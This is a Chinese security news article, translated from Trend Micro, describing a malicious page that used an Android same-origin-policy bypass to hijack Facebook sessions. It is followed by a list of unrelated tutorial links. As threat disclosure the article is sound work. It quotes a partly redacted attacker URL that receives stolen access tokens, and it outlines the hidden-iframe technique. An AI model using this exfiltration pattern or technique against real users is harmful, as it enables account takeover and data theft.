窃取Facebook用户信息:利用Android同源策略漏洞的恶意应用被发现
几个月前我们曾研究过Android同源策略(SOP)的漏洞,然而最近出现了一款利用此漏洞对Facebook用户进行攻击的恶意应用,其利用代码基于已公开的Metasploit测试代码。
FreeBuf科普:同源策略绕过漏洞
同源策略(SOP)是指客户端脚本(尤其是Javascript)的重要的安全度量标准,是浏览器安全核心基础。它最早出自Nescape Navigator2.0,其目的是防止某个文档或脚本从多个不同源装载。这里的同源指的是同域名、同协议和同端口。
而同源策略绕过发生在A网站(以sitea.com为例)以某种方式访问B网站(以siteb.com为例)的属性如cookie、位置、响应等的时候。由于这个问题的特殊性和可能潜在影响,浏览器对此都有非常严格的管理模式,在现在的浏览器中很少能发现同源策略(SOP)绕过。
相关阅读:Android(4.4版本以下)浏览器同源策略绕过漏洞
攻击过程
攻击是通过向某个特定Facebook网页引用恶意网站的链接来实现的。
此网页包含恶意的Javascript代码:
它会试图在内嵌框架里加载一个Facebook网址:
由于该页面的html内容被div的css设置为不会显示任何内容(display:none),用户只会看到一片空白:
并且该内嵌框架还只有1像素(1px)的大小:
基于以上这些条件,同源策略被绕过。通过构造语句,攻击者从一个能外链的云存储空间加载了一个远程JS代码文件,该文件包含了本次攻击所需要的恶意代码。
该JS代码可以让黑客在Facebook上实现以下行动:
1.添加Facebook好友
2.关注Facebook文章
3.修改订阅项
4.授权Facebook应用访问用户的私密信息(类似于与qq号关联)
5.窃取用户的token并后台上传:http://{BLOCKED}martforchristmas.website/walmart/j/index.php?cid=544fba6ac6988&access_token= $token;
6.收集分析数据(如受害者的位置,HTTP referer等等),在https://whos.{BLOCKED}ung.us/pingjs/上使用合法的服务
除了网站中上述的代码外,我们在http://www.{BLOCKED}php.com/x/toplu.php里发现了相似的攻击痕迹。可以肯定的是,这些都是出自同一攻击者的手笔,因为他们有着同样的函数名,以及相同的Facebook应用client_id。
官方授权未必安全
该恶意软件的client_id为2254487659,这是一个由黑莓官方授权过的应用。我们与黑莓官方确认过,这款应用打着黑莓的认证牌子试图窃取Facebook用户的认证token。有了这个token可以让黑客从Facebook的API读取个人敏感信息,以及发布文章讯息等。
黑莓官方由此发布了以下声明:
“这款恶意软件的攻击对象为Facebook用户,其使用了Android同源策略绕过漏洞,且无视移动设备平台类型。其试图利用黑
莓官方的认证的便利对Facebook WEB应用进行攻击。此次事件并不是黑莓硬件、软件产生了漏洞,与黑莓的网络通信也没有
什么关系。”
Google目前已经修复了这个Android同源策略漏洞。然而不是所有的用户都会去升级浏览器或安卓系统版本。因此除非设备的供应商能发布相应补丁,不然用户仍会处于威胁之中。
[参考来源趋势科技,由FreeBuf小编dawner翻译整理,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- “数据访问函数库”(DataAccessLibrary for .net2.0 )源代码下载 09.06.15更新
- 数据访问函数库 for ado.net2.0
- 【问底】静行:FastJSON实现详解
- 分页解决方案 —— GridView + QuickPager + QuickPager_SQL + DataAccessLibrary + 数据库
- 使用接口来统一控件的取值、赋值和初始化
- 【自然框架】之通用权限的Demo(二):添加人员、添加账户、添加角色里面的账户以及列表的权限验证
- 我自己写的一个分页控件(源码和演示代码)PostBack分页版 for vs2003、SQL Server
- 分页控件之分页算法 —— for SQL Server 版。
- 【问底】王帅:深入PHP内核(一)——弱类型变量原理探究
- 一次对个人服务器入侵事件的调查
- BlackHat议题解析:Windows程序的数字签名校验“漏洞”
- 都是权限惹的祸 | 安卓恶意APP如何将其他APP中的私有数据搞到手
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
- 逆向工厂(一):从hello world开始
- java教程
- Java快速入门
- Java 开发环境配置
- Java基本语法
- Java 对象和类
- Java 基本数据类型
- Java 变量类型
- Java 修饰符
- Java 运算符
- Java 循环结构
- Java 分支结构
- Java Number类
- Java Character类
- Java String类
- Java StringBuffer和StringBuilder类
- Java 数组
- Java 日期时间
- Java 正则表达式
- Java 方法
- Java 流(Stream)、文件(File)和IO
- Java 异常处理
- Java 继承
- Java 重写(Override)与重载(Overload)
- Java 多态
- Java 抽象类
- Java 封装
- Java 接口
- Java 包(package)
- Java 数据结构
- Java 集合框架
- Java 泛型
- Java 序列化
- Java 网络编程
- Java 发送邮件
- Java 多线程编程
- Java Applet基础
- Java 文档注释
- 一起来学matlab-数组取值 MATLAB中的字符串符号
- 递归解决遍历问题
- PHP中的include和require
- 一起来学matlab-matlab学习笔记10 10_2一般操作符和数据显示格式
- 一起来学matlab-matlab学习笔记10 10_3关系运算符和逻辑运算符
- 一篇文章学懂Shell脚本,最简明的教程在这里
- 一起来学matlab-matlab学习笔记10 10_5 通用字符串操作和比较函数
- 一个案例彻底弄懂如何正确使用 mysql inndb 联合索引
- 一起来学matlab-matlab学习笔记11 11_2 高维数组处理和运算 squeeze, ind2sub, sub2ind
- matlab结构体 rmfield,arrayfun,structfun,struct2cell,cell2struct
- PHP函数参数传递方法的具体改进技巧
- matlab学习笔记11_3 高维数组处理 filp, shiftdim, size, permute, ipermute
- 看完这篇文章,你的Linux基础就差不多了
- jzy3D从入门到弃坑
- git丢弃本地修改的所有文件(新增、删除、修改)